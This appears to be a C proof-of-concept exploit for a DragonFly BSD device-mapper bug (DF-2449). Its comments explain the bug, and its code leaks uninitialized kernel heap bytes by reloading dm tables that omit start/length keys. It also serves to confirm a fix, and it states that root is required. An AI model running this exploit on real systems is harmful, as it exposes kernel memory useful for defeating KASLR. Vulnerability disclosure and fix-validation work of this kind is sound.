DF-2449 / dm_uninit_startlength.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 | /* * DF-2449 PoC -- dm_table_load_ioctl uninitialized-heap start/length leak. * * Bug (sys/dev/disk/dm/dm_ioctl.c, dm_table_load_ioctl): * * 743: if ((table_en = kmalloc(sizeof(dm_table_entry_t), * 744: M_DM, M_WAITOK)) == NULL) { * ... * 750: prop_dictionary_get_uint64(target_dict, DM_TABLE_START, * 751: &table_en->start); * 752: prop_dictionary_get_uint64(target_dict, DM_TABLE_LENGTH, * 753: &table_en->length); * * (1) The kmalloc at 743-744 uses M_DM, M_WAITOK with NO M_ZERO, so the * freshly-allocated dm_table_entry_t carries whatever bytes the slab * left there (last tenant of this 72/96/128-byte bucket). * (2) prop_dictionary_get_uint64 (sys/libprop/prop_dictionary_util.c:118-140, * expanded from the TEMPLATE(64) macro) RETURNS FALSE without writing * *valp when the key is absent or not a number -- the early `return * (false)` at line 126 fires before the `*valp = ...` assignment at * line 136. * (3) The dm_table_load_ioctl call site NEVER checks the return value, so * when the attacker omits "start" / "length" from the per-table-entry * dictionary, table_en->start and table_en->length retain stale heap * bytes from the slab. * * The stale values are then leaked verbatim to userspace by * dm_table_status_ioctl (same file, lines 937-940): * * 937: prop_dictionary_set_uint64(target_dict, DM_TABLE_START, * 938: table_en->start); * 939: prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, * 940: table_en->length); * * Trigger: create a dm device, command="reload" with target type "zero" * and DM_TABLE_PARAMS set (so dm_table_init's `if (params == NULL) return * EINVAL` does not fire), but OMIT DM_TABLE_START / DM_TABLE_LENGTH from * the per-entry dictionary. Then command="table" with * DM_STATUS_TABLE_FLAG | DM_QUERY_INACTIVE_TABLE_FLAG reads the stale * start/length back. * * Repeating the reload across N fresh devices (or N remove/reload cycles) * yields DIFFERENT start/length values across runs -- proof that the bytes * are uninitialized heap residue (a deterministic field would be constant). * * PRIVILEGE NOTE: /dev/mapper/control is created 0640 root:operator * (sys/dev/disk/dm/device-mapper.c:181) and the dm module must be kldload-ed * by root. This PoC therefore runs as root. There is NO unprivileged path * (maxx uid 1001 is not in operator/wheel), so this is a root->kernel * info-leak / hardening gap, NOT an unpriv->root escalation. The leak * surfaces 16 bytes of uninitialized kernel heap per table entry per query * (KASLR / slab-layout inference, defense-in-depth). * * Build: cc -O2 -o dm_uninit_startlength dm_uninit_startlength.c -lprop * Run: ./dm_uninit_startlength (as root, after `kldload dm`) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <inttypes.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" /* Number of distinct reload cycles to run for variance evidence. */ #define N_TRIALS 5 static int g_ctlfd = -1; static int send_ioctl(prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); /* major */ prop_array_add_uint32(ver, 0); /* minor <= 16 */ prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_create(const char *name) { prop_dictionary_t dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } static int do_remove(const char *name) { prop_dictionary_t dict = new_dm_dict("remove"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } /* * Reload WITHOUT start/length keys in the per-table-entry dictionary. * params is set to a non-NULL string so dm_table_init does not EINVAL. */ static int do_reload_no_startlength(const char *name) { prop_dictionary_t dict, target_dict; prop_array_t cmd_data; int rv; dict = new_dm_dict("reload"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); cmd_data = prop_array_create(); target_dict = prop_dictionary_create(); prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "zero"); /* DM_TABLE_START intentionally OMITTED */ /* DM_TABLE_LENGTH intentionally OMITTED */ /* params must be non-NULL so dm_table_init's `if (params == NULL) * return EINVAL` does not fire. The "zero" target has no init() * callback, so any value is accepted. */ prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, "0"); prop_array_add(cmd_data, target_dict); prop_object_release(target_dict); prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data); prop_object_release(cmd_data); rv = send_ioctl(dict); prop_object_release(dict); return rv; } /* * Read back start/length from the INACTIVE table for the named device. * Returns 0 on success and fills *out_start / *out_length. */ static int do_table_readback(const char *name, uint64_t *out_start, uint64_t *out_length) { prop_dictionary_t dict, resp = NULL; prop_array_t cmd_data; prop_object_iterator_t iter; prop_dictionary_t td; uint64_t v; int rv; *out_start = 0; *out_length = 0; dict = new_dm_dict("table"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name); prop_dictionary_set_uint32(dict, DM_IOCTL_MINOR, 0); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, DM_STATUS_TABLE_FLAG | DM_QUERY_INACTIVE_TABLE_FLAG); rv = prop_dictionary_sendrecv_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL, &resp); prop_object_release(dict); if (rv != 0) return rv; cmd_data = prop_dictionary_get(resp, DM_IOCTL_CMD_DATA); if (cmd_data == NULL) { prop_object_release(resp); return ENOENT; } iter = prop_array_iterator(cmd_data); while ((td = prop_object_iterator_next(iter)) != NULL) { if (prop_dictionary_get_uint64(td, DM_TABLE_START, &v)) *out_start = v; if (prop_dictionary_get_uint64(td, DM_TABLE_LENGTH, &v)) *out_length = v; } prop_object_iterator_release(iter); prop_object_release(resp); return 0; } int main(void) { char devname[32]; uint64_t starts[N_TRIALS], lengths[N_TRIALS]; int reload_rv[N_TRIALS]; int rv, i, distinct_starts, distinct_lengths; int n_success = 0; /* Defensive: zero arrays so a skipped trial can never look like a leak. */ memset(starts, 0, sizeof(starts)); memset(lengths, 0, sizeof(lengths)); memset(reload_rv, 0, sizeof(reload_rv)); g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, " (need root; is `dm` loaded? run: kldload dm)\n"); return 1; } printf("[*] DF-2449 dm_table_load_ioctl uninitialized start/length\n"); printf("[*] kmalloc(sizeof(dm_table_entry_t), M_DM, M_WAITOK) -- NO M_ZERO\n"); printf("[*] prop_dictionary_get_uint64 return value NOT checked\n"); printf("[*] running %d reload cycles, omitting start/length each time...\n", N_TRIALS); fflush(stdout); for (i = 0; i < N_TRIALS; i++) { snprintf(devname, sizeof(devname), "df2449_%d", i); /* Clean any leftover device from a prior run. */ (void)do_remove(devname); rv = do_create(devname); if (rv != 0 && rv != EEXIST) { fprintf(stderr, "[!] trial %d: create rv=%d (%s)\n", i, rv, strerror(rv)); reload_rv[i] = rv; continue; } rv = do_reload_no_startlength(devname); reload_rv[i] = rv; if (rv != 0) { /* * On a FIXED kernel, reload returns EINVAL (22) -- the * explicit prop_dictionary_get_uint64 return-check * rejects the malformed table entry. This is the * success signal for the fix. */ printf("[trial %d] %s: reload rv=%d (%s) -- entry rejected\n", i, devname, rv, strerror(rv)); (void)do_remove(devname); continue; } n_success++; rv = do_table_readback(devname, &starts[i], &lengths[i]); if (rv != 0) { fprintf(stderr, "[!] trial %d: table readback rv=%d (%s)\n", i, rv, strerror(rv)); (void)do_remove(devname); continue; } printf("[trial %d] %s: start=0x%016" PRIx64 " length=0x%016" PRIx64 "\n", i, devname, (uint64_t)starts[i], (uint64_t)lengths[i]); (void)do_remove(devname); } /* * If every reload returned EINVAL, the fix is in place -- the kernel * now refuses to load a table entry that omits start/length. This is * the success criterion for fix validation. */ if (n_success == 0) { int all_einval = 1; for (i = 0; i < N_TRIALS; i++) if (reload_rv[i] != EINVAL) all_einval = 0; if (all_einval) { printf("\n[*] ALL %d reloads returned EINVAL -- kernel\n" " rejects table entries that omit start/length.\n" " FIX IS IN EFFECT: no uninitialized-heap leak.\n", N_TRIALS); close(g_ctlfd); return 0; } printf("\n[*] All reloads failed, but not all with EINVAL --\n" " see trial output above.\n"); close(g_ctlfd); return 1; } /* Variance check: if start/length were properly initialized (e.g. * zeroed by M_ZERO, or rejected as EINVAL by a checked get_uint64), * every successful trial would show start==0 && length==0. Distinct * non-zero values across trials == uninitialized heap residue. */ distinct_starts = 0; distinct_lengths = 0; for (i = 1; i < N_TRIALS; i++) { if (starts[i] != starts[0]) distinct_starts++; if (lengths[i] != lengths[0]) distinct_lengths++; } printf("\n[*] variance over %d successful reloads: %d/%d differ in start, %d/%d in length\n", n_success, distinct_starts, n_success - 1, distinct_lengths, n_success - 1); int any_nonzero = 0; for (i = 0; i < N_TRIALS; i++) { if (starts[i] != 0 || lengths[i] != 0) any_nonzero = 1; } if (any_nonzero) { int variance = (distinct_starts > 0 || distinct_lengths > 0); printf("[!!!] UNINITIALIZED-HEAP LEAK CONFIRMED: at least one\n" " trial returned non-zero start/length despite the\n" " reload ioctl OMITTING both keys. The values are\n" " stale slab bytes from kmalloc(sizeof(dm_table_entry_t)).\n"); if (variance) { printf("[!!!] Values VARY across trials -- definitive\n" " evidence of uninitialized heap residue\n" " (a properly-initialized field would be\n" " constant 0/0 across all trials).\n"); } printf("\n[*] Impact: 16 bytes of uninitialized kernel heap\n" " leaked per table entry per status query\n" " (sys/dev/disk/dm/dm_ioctl.c:937-940).\n"); printf("[*] This is CWE-457 / CWE-908 (use of uninitialized\n" " memory / leak) in sys/dev/disk/dm/dm_ioctl.c:743-753.\n"); } else { printf("[*] All trials returned start=0 length=0 -- no leak\n" " observed (either already-fixed, or M_ZERO is in use,\n" " or get_uint64 default-initialized somewhere).\n"); } close(g_ctlfd); return any_nonzero ? 0 : 1; } |